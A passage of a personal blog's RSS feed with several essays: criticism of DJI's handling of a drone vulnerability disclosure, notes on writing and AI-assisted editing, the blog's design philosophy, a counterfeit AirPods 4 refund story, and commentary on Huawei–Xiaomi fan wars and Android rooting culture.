&lt;p&gt;DJI&apos;s global installed base is astronomical. At a large drone light show, hundreds of machines hang in the air at once. If there is an undisclosed RCE vulnerability, an attacker needs no gun and no artillery — just a laptop to create a major news event. The targets are dense, the crowds are gathered, and the livestream footage is crystal clear. The GeekCon challenge was literally called &quot;Runaway Drone.&quot; DJI&apos;s police report stopped the demonstration, but it did not stop the vulnerability from existing.&lt;/p&gt;
&lt;p&gt;The end result: the vulnerability still exists, except it has moved from the stage to the dark-web price list, and the patch timeline has gone from &quot;a week&quot; to &quot;never.&quot; Every DJI drone a customer buys is, because of that police report, actually less secure.&lt;/p&gt;
&lt;h2&gt;The Only Lesson Humans Learn From History Is That They Learn Nothing&lt;/h2&gt;
&lt;p&gt;While the GeekCon story was spreading, someone on Zhihu brought up a story from eleven years earlier.&lt;/p&gt;
&lt;p&gt;Around 2015, a security researcher disclosed a vulnerability in the dating site Jiayuan on WooYun, then China&apos;s largest vulnerability disclosure platform. WooYun notified Jiayuan according to responsible-disclosure procedure, and Jiayuan fixed the flaw. Then Jiayuan turned around and called the police, sending the researcher to a detention center.&lt;/p&gt;
&lt;p&gt;That incident shook the Chinese security community at the time, and WooYun eventually shut down in 2016. In 2026, the same script played out on a much bigger stage.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Someone on Zhihu wrote: &quot;That was eleven years ago. I never thought I&apos;d still be seeing this in 2026.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The difference is that this time it was China&apos;s most famous hacking competition, and the organizers had enough credibility and reach to fight back, which multiplied the impact. But the structure is identical: a researcher helps you find a vulnerability, and you use the law to attack the researcher.&lt;/p&gt;
&lt;h2&gt;Vicious Cycle and Slow Death&lt;/h2&gt;
&lt;p&gt;Put all these events together and a very clear structure emerges:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Winning too easily → no need for reflection → arrogance → suppress problems with power → get away with it → even less need for reflection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Every successful suppression reinforces the wrong lesson. The decision-making system itself is broken, and there is no correction mechanism. A normal company has three correction paths: pressure from competitors (none), users voting with their feet (there is no alternative in drones), and internal dissent (with a personality like Frank Wang&apos;s, probably nobody inside dares to speak up). All three are blocked.&lt;/p&gt;
&lt;p&gt;DJI will die, but it may die later than anyone expects. Historically, the only things that break this kind of cycle are a disruptive technology that evaporates the moat, or regulators stepping in directly. The former shows no sign of appearing; the latter is being prepared in various countries but is moving slowly.&lt;/p&gt;
&lt;p&gt;The most likely path is a combination: an RCE vulnerability is actually exploited, a high-profile security incident occurs, and regulators intervene; overseas markets legislate it out of existence; security talent refuses to work at DJI, and the technical moat starts eroding from within. Any one of these alone is not fatal, but all three together, and suddenly it is gone.&lt;/p&gt;
&lt;p&gt;Nokia took ten years. Kodak took twenty. DJI&apos;s moat is deeper and its inertia stronger, but once the direction is wrong, depth only makes the sinking more complete.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A vulnerability does not disappear because a demonstration is stopped. It only moves from the stage underground. And the people who pay at the end of the chain are precisely the ordinary customers who spent real money on a drone.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The line worth rereading most from this whole affair is Tan Xiaosheng&apos;s: &lt;strong&gt;&quot;Instead of solving the problem itself, solving the person who found the problem has become the &apos;best practice&apos; at plenty of companies. It&apos;s truly sad.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;DJI&apos;s vulnerability is there. Whether or not the GeekCon demo was interrupted, the vulnerability is there. White-hat hackers can choose not to research your products. Criminal groups will not spare your products just because nobody researches them.&lt;/p&gt;
&lt;p&gt;In 2017, Finisterre found SSL keys sitting on GitHub, brought the evidence to DJI, was threatened, gave up $30,000 and wrote an 18-page report telling the whole story. Nine years later, security researchers demonstrated a flight-control vulnerability at a legal event and were taken away by police for questioning.&lt;/p&gt;
&lt;p&gt;The essence of both events is exactly the same: &lt;strong&gt;a technical problem treated as a PR problem, and a PR problem treated as a legal problem.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Every time DJI responds to a technical problem with power instead of technology, it pushes its own customers toward greater risk. This is not exaggeration. It is logic.&lt;/p&gt;
&lt;p&gt;And right now, millions of DJI drones are flying in the sky, above people&apos;s heads, over farmland, film sets and firefighting scenes, in neat formations above cities. Their safety depends on DJI being willing to take security seriously.&lt;/p&gt;
&lt;p&gt;And DJI has given up on security first.&lt;/p&gt;
</content:encoded><category>社会评论</category><category>硬件</category><author>Chongxi</author></item><item><title>How I Write, and What I Think About AI Writing</title><link>https://xice.cx/en/posts/howIwriteBlog/</link><guid isPermaLink="true">https://xice.cx/en/posts/howIwriteBlog/</guid><description>Notes on writing a blog post without overthinking it — and where AI helps, and where it absolutely shouldn&apos;t.</description><pubDate>Sun, 25 Oct 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Lately quite a few friends have asked me about blogging, and the thing that gives them the most trouble is how to actually write a post. This is something I can speak about with some authority.&lt;/p&gt;
&lt;p&gt;First, don&apos;t let status anxiety get in the way. Just write an ordinary article. You don&apos;t need to worry about who will read it. (Tutorials with a clear audience are the exception.) My blog has four categories, but really there are only three kinds of posts: &lt;strong&gt;diaries&lt;/strong&gt;, &lt;strong&gt;technical posts&lt;/strong&gt; and &lt;strong&gt;essays&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Diaries&lt;/strong&gt; are the fun little things from daily life, written down. There isn&apos;t much to say about them; they&apos;re notes for myself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Technical posts&lt;/strong&gt; come in tutorial form and explainer form. The first purpose of writing one is for myself — to organize my thoughts. But I figure publishing it online might help someone else too, so it goes on the blog. I also write up obscure flashing processes, mostly as notes to myself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Essays&lt;/strong&gt; deserve a longer explanation.&lt;/p&gt;
&lt;p&gt;When I have a thought during the day, I jot it down in Notes, then on the weekend I go through those scattered notes. The ones that can become a full piece go on the blog; the ones that can&apos;t keep accumulating. The purpose is still for myself: ten or twenty years from now, when my experiences and thinking have changed completely, I can look back at what I thought when I was young and maybe sigh about something.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;As for AI, I&apos;m not opposed to it. I occasionally use AI to help me organize a piece or fix places where the wording doesn&apos;t match what I mean. I&apos;m good at telling stories, but not at writing systematic articles. I think that&apos;s a pretty distinctive personal trait, and honestly it&apos;s kind of interesting.&lt;/p&gt;
&lt;p&gt;But I also have to think about the reader, so I&apos;ll have AI fine-tune the structure and paragraph breaks to make it easier to read. Nobody wants to stare at a giant wall of text with bizarre sentence breaks that makes them feel suffocated.&lt;/p&gt;
&lt;p&gt;At the very least, though, you should not let AI invent an entire article for you. &lt;strong&gt;Letting AI polish your content without changing its meaning is editing. Letting AI conjure a castle in the air out of nothing is fabrication.&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>博客</category><category>社会评论</category><author>Chongxi</author></item><item><title>The Design Philosophy Behind My Blog</title><link>https://xice.cx/en/posts/myBlogDesign/</link><guid isPermaLink="true">https://xice.cx/en/posts/myBlogDesign/</guid><description>On paper, grids, restraint, and why this blog looks the way it does.</description><pubDate>Sat, 24 Oct 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I never planned to write this post.&lt;/p&gt;
&lt;p&gt;The design is settled, the blog has been running for a while, and saying anything about it feels redundant.&lt;/p&gt;
&lt;p&gt;But then someone asked me how I came up with it, and I found I couldn&apos;t explain. It wasn&apos;t something I sat down and invented one day. It grew bit by bit. Every step had a reason, but at the time I couldn&apos;t have told you what that reason was. I only felt &quot;yes&quot; or &quot;no.&quot;&lt;/p&gt;
&lt;p&gt;So I&apos;ll try to write it down, tracing those &quot;yes&quot; moments backward and seeing how far I can follow them.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The starting point was the Lone Trail event in Arknights.&lt;/p&gt;
&lt;p&gt;But I can&apos;t point to a specific image that made me stop, because it wasn&apos;t an image, and it wasn&apos;t a character design. It was an atmosphere, something that filled the whole space once you entered the event. After thinking about it, the closest description I can find is: the feeling you get watching documentaries about the Apollo moon landings.&lt;/p&gt;
&lt;p&gt;That comparison probably sounds grand, but I don&apos;t mean grand narrative. The Apollo documentaries show you very concrete, very technical things. What they give you isn&apos;t &quot;wow, this technology is impressive,&quot; but something deeper — a strong sense of the future. A person standing at some threshold, about to go somewhere no one has ever been. The feeling isn&apos;t clear. You can&apos;t explain its logic or its texture, but it&apos;s real.&lt;/p&gt;
&lt;p&gt;That&apos;s what Lone Trail gave me.&lt;/p&gt;
&lt;p&gt;Then I started paying attention to its UI design. The information density was controlled very precisely. It wasn&apos;t imitating some sci-fi aesthetic; it was using a highly restrained visual language to tell a story about space and humanity&apos;s future — and that feeling came back.&lt;/p&gt;
&lt;p&gt;I started tracing backward to find where this feeling came from.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The first stop was NASA.&lt;/p&gt;
&lt;p&gt;Specifically, the design language of the NASA worm-logo era, roughly the 1970s to the early 1990s. NASA had a remarkably complete visual identity system in those years: strict rules for type, color and layout, with internal documents following a fixed typographic language. You can still find huge numbers of scanned documents from that era on Archive.org or NASA&apos;s technical report servers. They were never designed to be &quot;pretty&quot; — they were made for engineers and scientists, and the requirement was accurate, efficient communication.&lt;/p&gt;
&lt;p&gt;But when you open those files, you get a strange feeling.&lt;/p&gt;
&lt;p&gt;Their beauty doesn&apos;t come from decoration. It comes from absolute functional honesty. Every element does the job it is supposed to do; nothing is superfluous. The numbering system exists for citation, the grid exists for alignment, the monospaced type exists because of the printing technology of the time, and the generous white space exists to rest the eyes and leave room for annotations. Not one of those decisions was made for aesthetic reasons, yet the result has a restrained, calm, almost cold beauty.&lt;/p&gt;
&lt;p&gt;There&apos;s one more thing: those documents were printed. Paper — beige or slightly yellowed paper, not a glowing screen. That texture, that weight, that feeling of writing notes on them (even though we can only see scans now) — the fact that &quot;this is paper&quot; seeps into the visual language and makes it fundamentally different from anything digitally native. It has weight. It is not a sheet of glass.&lt;/p&gt;
&lt;p&gt;That directly influenced the background color of my blog&apos;s article pages. I don&apos;t use white; I use beige. Not for eye comfort or retro nostalgia, but because that color feels like paper. When you read on it, it feels like reading a document rather than staring at a glowing piece of glass.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Going further back, I arrived at Swiss International Style, also known as the International Typographic Style.&lt;/p&gt;
&lt;p&gt;This was a graphic design system developed in Switzerland in the 1950s and 60s. Its core is the grid system, sans-serif type (most famously Helvetica), clear hierarchy of information, and a fundamental attitude: the purpose of design is to let the content be seen, not to let the design itself be seen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Less is more&lt;/strong&gt; comes from here. But the word &quot;less&quot; is easily misread as &quot;simple&quot; or &quot;lazy.&quot; Swiss International Style doesn&apos;t mean that. It means something closer to &quot;nothing superfluous.&quot; Every element must be able to answer one question: why are you here? If it can&apos;t answer, it shouldn&apos;t exist.&lt;/p&gt;
&lt;p&gt;There is something almost cruel in how cool this logic is. It does not accept &quot;this looks better if I add it&quot; or &quot;this makes the page look less empty.&quot; Those are not reasons. But that strictness also brings a particular kind of freedom: once you remove everything unnecessary, every remaining element carries weight and deserves attention.&lt;/p&gt;
&lt;p&gt;From Swiss International Style to NASA&apos;s document aesthetic to Lone Trail&apos;s UI, I see the same logic evolving across different eras and different media. All of them trade restraint for clarity, subtraction for trust.&lt;/p&gt;
&lt;p&gt;I&apos;m not a graphic designer, and I&apos;m not doing academic research. I was just tracing the source of a feeling, and when I got somewhere and felt it was enough, I started building. Then I ran &lt;code&gt;pnpm dev&lt;/code&gt;, watched the page come alive, and thought: yes, this is the feeling. I really can&apos;t explain it, but that&apos;s exactly how it is.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Where &quot;less is more&quot; actually lands&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I once wrote:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;People who fill their blogs with gaudy effects and flying pop-ups have no respect for the word &quot;content.&quot; Anyone who sacrifices the reader&apos;s reading experience just to play with digital building blocks — if even the basic need to read an article comfortably is compromised by a garbage underlying architecture — does not deserve to call themselves a blogger.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That wasn&apos;t just an outburst.&lt;/p&gt;
&lt;p&gt;I think about where a reader&apos;s attention is when they open one of my posts. If it gets grabbed by a scrolling marquee banner, interrupted by a pop-up ad, or dragged away by some flashy irrelevant widget at the bottom, &lt;strong&gt;then I have already failed as an independent blogger — not because the writing is bad, but because I didn&apos;t give the reader an environment where they can concentrate on reading.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The article page design starts from exactly that. Only the article. Nothing else is needed. Beige background, large enough type, generous line spacing, breathing room between paragraphs. No floating share buttons, no reading progress bar, nothing that jumps out while you&apos;re reading. At the end there is author information, a copyright notice and related posts. &lt;strong&gt;But all of that appears after you finish reading. While you are still reading, I don&apos;t want to interrupt you.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This logic also shapes the overall decorative density of the blog. You&apos;ll see a lot of &quot;technical document&quot; language: &lt;code&gt;CEPATO TECHNICAL NOTE&lt;/code&gt;, &lt;code&gt;// END OF REPORT&lt;/code&gt;. Some people ask whether there&apos;s a fictional worldbuilding behind it. My answer is blunt: no, it&apos;s pure decoration. But the decoration itself is restrained. It sits in the corners of the page as a marker of visual hierarchy, never dominating. If you notice it, it&apos;s fun. If you don&apos;t, it doesn&apos;t affect your reading. That is where decoration belongs.&lt;/p&gt;
&lt;p&gt;All of this grew naturally out of the same person, and I don&apos;t see any contradiction. The blog contains philosophical reflection, technical notes, diaries and personal thoughts. The shell is a cold, hard technical-document design; inside is very ordinary writing by a very ordinary person. Is that a problem? People are like that. I am like that. All of it comes from the same core.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Why a blog and not Weibo&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I thought about this question for a long time. I&apos;ve said before:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Time punishes everyone who doesn&apos;t pay attention to recording things.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Today I want to add the second half:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Keeping your records somewhere unsafe is a lack of respect for yourself.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The first sentence is about the necessity of recording. The things you think don&apos;t matter now will become the things you want to find in five years and can&apos;t. &lt;strong&gt;Not every record is meaningful, but everything meaningful deserves to be recorded.&lt;/strong&gt; Time will not preserve those precious moments for you. It will erase them.&lt;/p&gt;
&lt;p&gt;The second sentence is about where you keep them. If all your writing lives on Weibo, WeChat public accounts, Zhihu or Xiaohongshu, those platforms can disappear at any moment, ban your account at any moment, turn what you wrote into a 404 at any moment. Your words are not yours. You are only storing them temporarily on someone else&apos;s server. One day the platform shuts down, or the algorithm changes, or your account gets banned over some sensitive post, and you may lose everything you ever wrote.&lt;/p&gt;
&lt;p&gt;This is not alarmism. It has already happened. It has happened to me in the past, and it will keep happening.&lt;/p&gt;
&lt;p&gt;So I need a place of my own. An independent domain, my own website, full ownership of the data. What I write lives in my repo. I can export it, migrate it and decide its fate at any time. This is digital autonomy. It&apos;s not a technical flex; it&apos;s basic respect for my own writing.&lt;/p&gt;
&lt;p&gt;The Essays page is an extension of the same logic. The things that aren&apos;t worth a full article — a one-line thought, a screenshot, a small event — still deserve to be kept, but they don&apos;t deserve to be fed to an algorithm on Weibo. Put them on my own blog, ordered by time, purely as a record. No traffic pressure, no expectation of shares, just so these things exist somewhere.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Coffee · Code · Night&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;My blog has three core keywords: &lt;strong&gt;Coffee, Code, Night&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I often write late at night. It&apos;s quiet then, and my mind is clear — good for turning what I want to say into words. Many of my posts were written late at night, listening to lo-fi and drinking coffee.&lt;/p&gt;
&lt;p&gt;I want readers to feel the same thing when they open this blog: some idle moment, make a cup of coffee, sit down, relax, and slowly read one article. That&apos;s the best scene I can offer a reader, and it&apos;s also my own favorite reading state.&lt;/p&gt;
&lt;p&gt;The whole design serves that scene. Beige background, loose layout, no interruptions. &lt;strong&gt;It wants you to slow down here — not skim, not jump around, but actually sit down, relax and finish an article.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Under today&apos;s short-video and algorithm bombardment, that is genuinely hard to achieve.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Finally: you know whose place this is&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;My name is buried in every page of the blog. Not a giant logo, not a reminder every three paragraphs that &quot;this is Chongxi&apos;s blog.&quot; I just appear quietly in the author card, the about page, the distribution notice, the end of every article. After you finish a post, you won&apos;t remember being told who wrote it, but you&apos;ll know.&lt;/p&gt;
&lt;p&gt;In business terms this would be called brand building, but I don&apos;t think that far. I just feel that if you&apos;ve had a good reading experience here, I&apos;d like you to remember who this place belongs to. I don&apos;t care about traffic (I run an independent blog, after all), and I&apos;m not trying to monetize. It&apos;s just a simple wish to be remembered.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This blog will never be finished. I use it, notice something feels wrong, change it, feel that it&apos;s right again, and keep using it. It will always be like this — something that grows naturally out of me, changing along with me.&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>博客</category><author>Chongxi</author></item><item><title>I Bought Fake AirPods 4: A Buyer&apos;s Remorse and Refund Story</title><link>https://xice.cx/en/posts/fakeAirPods4/</link><guid isPermaLink="true">https://xice.cx/en/posts/fakeAirPods4/</guid><description>A knockoff pair from Huaqiangbei, a forged receipt, and how the refund actually went.</description><pubDate>Thu, 08 Oct 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Before I even placed the order, I was already prepared to receive fake AirPods. But I placed it anyway. I really am fascinated by Huaqiangbei knockoffs.&lt;/p&gt;
&lt;p&gt;At 8:48 p.m. on October 5, 2026, I ordered a pair of someone&apos;s unused AirPods 4 ANC on Xianyu. The seller claimed to have the purchase receipt and said the warranty ran until June 2027. Anyone who spends time in second-hand marketplaces has probably already guessed from the title that it was fake. I guessed it was probably fake too, and only ordered because I was confident I could get my money back. Right after I paid, the seller said they&apos;d ship it the next day.&lt;/p&gt;
&lt;p&gt;At 11:30 the next morning, the seller marked it as shipped on the platform. Looked normal. Then it stopped looking normal. By noon on the third day it was still &quot;awaiting pickup,&quot; so I asked the seller, who said they&apos;d check. Then they ignored me until 5 p.m. So I filed for a refund, citing abnormal logistics. That got the seller&apos;s attention. A little while later, the package was quietly picked up.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;On the morning of October 9, I picked up the package. From the outside, the box looked fine (did it?). I opened it, took out the AirPods 4 and flipped the lid — and it made a sound exactly like a bicycle bell. I completely lost it. What genuine AirPods sound like that? This was 101.0000% fake. But it actually paired with an iPhone. The software features were mostly there, down to the pop-up. I have to hand it to Huaqiangbei&apos;s current counterfeit skills.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_2790.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_2788.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Software-wise, the imitation was surprisingly convincing. Of course, ANC and the like were basically useless — on and off made no difference — and the overall experience was terrible. It disconnected constantly. It was almost unusable. I was genuinely afraid that wearing this thing might one day make it explode in my ear.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_2771%201.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As for the very convincing version number, you can expose it by checking Apple&apos;s official site. The AirPods 4 version number is not 5E135 at all. Working backward, it&apos;s probably a 2023 version. Look up the latest version on Apple&apos;s site and you&apos;ll see: this thing couldn&apos;t be more fake.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_2798.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Also, the AirPods 4 has an H2 chip. Genuine ones show an equalizer on iOS 27. This knockoff doesn&apos;t.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_2770.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To put it bluntly, these Huaqiangbei earbuds exist to look cool and to make a pop-up appear on your phone. Most of the functions are crippled and it simply cannot be used normally. Do not buy this thing just to &quot;have something to listen with.&quot; It isn&apos;t worth it. It can&apos;t even manage that.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;I&apos;d had my fun and satisfied my curiosity, so now it was time to return it. I filed a second return request, this time for counterfeit goods. The seller rejected it, as expected. So I filed again and asked customer service to step in. While I was at it, let me show you how bad the forgery was: the seller solemnly provided a purchase receipt, which was of course also fake. See the photo.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_2800.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I spotted three problems the moment I opened the image:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The store simply does not exist: &quot;Nanjing Apple Store retail store Pukou Jinxiang City Apple Authorized Store, No. 6 Jiangshan Road.&quot; There is no such thing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Store names like that immediately look wrong. And you can check Apple Stores on the official website — Nanjing has no such store, and it isn&apos;t on any map.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The part number ends in the China-model suffix.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That made me check the box. Wait a minute — why does your box show a U.S.-model part number? Busted.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_2793.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Typos.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Look closely at the &quot;issuer&quot; line. Good grief, &lt;strong&gt;Taauer&lt;/strong&gt;? Isn&apos;t that supposed to be &quot;Issuer&quot;? I seriously doubt these people ever went to school. How do you get that wrong? And the URL at the bottom of the receipt is even funnier: &lt;code&gt;http:/www.apple.com&lt;/code&gt;. My God, a single slash after http. They even misspelled &quot;detail&quot; and &quot;html&quot; — it should be &lt;code&gt;detail.html&lt;/code&gt;, but they wrote &lt;code&gt;ret ail.htal&lt;/code&gt;. I couldn&apos;t stop laughing.&lt;/p&gt;
&lt;p&gt;Also, some basic common sense: the first six digits of a bank card number are the BIN and aren&apos;t especially sensitive. Normally a masked card number looks like &lt;code&gt;626799xxxx8821&lt;/code&gt;, not &lt;code&gt;626799**6XXXXX16**8821&lt;/code&gt;. How do these people lack even basic common sense? Their forgery skills are worrying.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And most importantly: checking the serial number is useless now. Scammers copy the serial number from a genuine unit. Of course it checks out — it is the genuine serial number. A serial number check does not prove the product is real. And please don&apos;t blindly buy from Huaqiangbei. Apple has no obligation to issue you an authenticity report, so you won&apos;t get anything in writing.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After I handed all this forged evidence to Xianyu customer service, the seller agreed to the return within minutes. But then something very strange and very funny happened:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_2814%201.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So what if it can be looked up? Does a serial number prove that this is the original owner of that serial number? In any case, the seller covers the return shipping in this situation. As consumers, when we buy counterfeit goods we should defend our rights. Never compromise with sellers like this. That evening I dropped the package off at my local pickup station. I had to pay the shipping upfront; after the item is returned, the platform will ask the seller to reimburse me, and if the seller refuses, the platform will cover it.&lt;/p&gt;
</content:encoded><category>生活</category><category>Apple</category><author>Chongxi</author></item><item><title>A Deep Dive Into the Huawei vs. Xiaomi Fan Wars</title><link>https://xice.cx/en/posts/huaweiVsXiaomi/</link><guid isPermaLink="true">https://xice.cx/en/posts/huaweiVsXiaomi/</guid><description>Why the decade-long flame war between Huawei and Xiaomi fans is never really about phones.</description><pubDate>Sat, 26 Sep 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There are two groups in China&apos;s tech scene that have been insulting each other for nearly a decade, with no sign of stopping. One is the Mi Fans; the other is the Huawei faithful — the true-believer user bases of Xiaomi and Huawei respectively. The war between them is one of the longest-running, most intense and most absurd cultural phenomena in the history of Chinese consumer electronics.&lt;/p&gt;
&lt;p&gt;What makes it absurd?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The thing they are arguing about is never the actual issue.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mi Fans say Huawei is an IQ tax — overpriced with terrible value. Huawei fans say Xiaomi is an assembly plant with no core technology, all &quot;self-developed&quot; in name only. Each side repeats its own version. Arguments get swapped out round after round, details get fought over one after another. But if you step back and look at the whole war, you&apos;ll see that every spec comparison, every benchmark screenshot, every &quot;objective review&quot; is a footnote to the same sentence:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The phone I bought is better than yours.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Conclusion first, reasons afterward. The reasons can change forever; the conclusion never does. The other side&apos;s strengths are &quot;marketing,&quot; your own side&apos;s flaws don&apos;t exist, and any objective review can be read as hating. This isn&apos;t a discussion about phones. It&apos;s an identity war over &quot;who is more correct,&quot; and phones are simply the battlefield chosen for it.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;To understand the Chinese Android custom-ROM community, you first have to understand a phenomenon I call flashing PTSD.&lt;/p&gt;
&lt;p&gt;In this circle there is an almost reflex judgment: a phone that can&apos;t unlock its bootloader is basically a brick. Outsiders find this baffling. Pixel, Samsung and iPhone users find it completely incomprehensible. But the way it formed is actually traceable, and I&apos;d even say quite reasonable.&lt;/p&gt;
&lt;p&gt;Starting with MIUI 12, every major version update often made the actual experience worse: the system got slower, ads ran rampant, battery drain increased. Users reported problems; the official response was either silence or a fix patch that broke something else. In that loop, flashing a ROM slowly turned from a geek hobby into a survival tactic. If you couldn&apos;t stand it, you flashed a clean third-party ROM yourself, just so the phone remained usable.&lt;/p&gt;
&lt;p&gt;Over time, that logic got internalized. Flashing was no longer an option for people who &quot;like tinkering&quot;; it became a precondition for &quot;whether the phone works at all.&quot; So phones that don&apos;t support unlocking really are, in these people&apos;s eyes, dead — because that cuts off the only route to self-rescue.&lt;/p&gt;
&lt;p&gt;In the past, Android flashing existed because the software was crude and users needed to add features. The problem is that today, that self-rescue route should never have been necessary in the first place.&lt;/p&gt;
&lt;p&gt;Samsung, Pixel and Nothing users probably don&apos;t flash and are doing just fine. iPhone users never flash and don&apos;t feel like they&apos;re using bricks. Which shows that &quot;must be able to flash&quot; is essentially a patch demand created by poor manufacturer software quality, not something a smartphone objectively ought to have.&lt;/p&gt;
&lt;p&gt;Root follows the same logic, and it makes the point even better.&lt;/p&gt;
&lt;p&gt;Normally, users get root to extend functionality — an active, offensive move. But in the context of Chinese Android, a huge number of users root in order to remove things: uninstalling bloatware that can&apos;t be deleted, blocking ads inside system apps, turning off the manufacturer&apos;s cloud control. This is passive, defensive behavior. In essence, users are fighting the manufacturer in reverse, taking back the phone that should have been theirs.&lt;/p&gt;
&lt;p&gt;Cloud control is especially nasty. The hardware is yours. You paid thousands for it. But the manufacturer keeps a remote control that can throttle it at any time: full performance during benchmarks, quietly limited in daily use. You&apos;ve essentially bought rented hardware whose performance can be adjusted by the manufacturer&apos;s servers at any moment. That&apos;s more thuggish than Apple&apos;s old battery scandal, because at least Apple offered a barely plausible excuse. Chinese manufacturers don&apos;t even bother.&lt;/p&gt;
&lt;p&gt;So users who can root gain a kind of &quot;leverage against capital&quot; and become technical players. Users who can&apos;t root, or don&apos;t know how, just pinch their noses and endure it, resentment building. The two experiences combine to produce a group of people who treat &quot;bootloader unlock&quot; as the moral standard for a phone, placing it above system smoothness, privacy, software ecosystem and actual user experience. Every other metric becomes secondary.&lt;/p&gt;
&lt;p&gt;The most ironic part: Mi Fans treat &quot;supports flashing&quot; as one of Xiaomi&apos;s great advantages, promote it loudly and take pride in it. But the premise of that advantage is an admission that the official system is so bad users need to rescue themselves. It&apos;s packaging shame as a medal — packaging a debt owed by the manufacturer as a privilege granted to users. This is what I mean by manufacturer defects being transferred onto consumers. It should never have existed.&lt;/p&gt;
&lt;p&gt;This is a variant of Stockholm syndrome: after being tormented long enough, people stop demanding a manufacturer that doesn&apos;t torment them. Instead they internalize the ability to fight the torment as identity, and then look down on people who &quot;have never been tormented.&quot;&lt;/p&gt;
&lt;p&gt;Why don&apos;t Samsung and Pixel users have this PTSD? Because their phone software doesn&apos;t treat users as an opponent. The system doesn&apos;t require users to rescue themselves.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;In arguments about phone brands and operating systems, the Android camp has a classic accusation aimed at iOS users: you&apos;ve all been domesticated by Apple, living in Apple&apos;s cage, unfree and yet convinced you&apos;re free.&lt;/p&gt;
&lt;p&gt;That criticism isn&apos;t unreasonable. iOS really is a closed system with objective limitations.&lt;/p&gt;
&lt;p&gt;But the people saying it forget to look in the mirror.&lt;/p&gt;
&lt;p&gt;iOS users adapt to not having certain features. That&apos;s out in the open: the system is designed that way and everyone knows it. But what do Chinese Android users adapt to? Features being tampered with. On the surface it&apos;s an open system; in reality their freedom was quietly taken away by the manufacturer. One is a transparent cage; the other is a cage with windows painted on it, convincing you that you can see outside when it&apos;s actually a sticker.&lt;/p&gt;
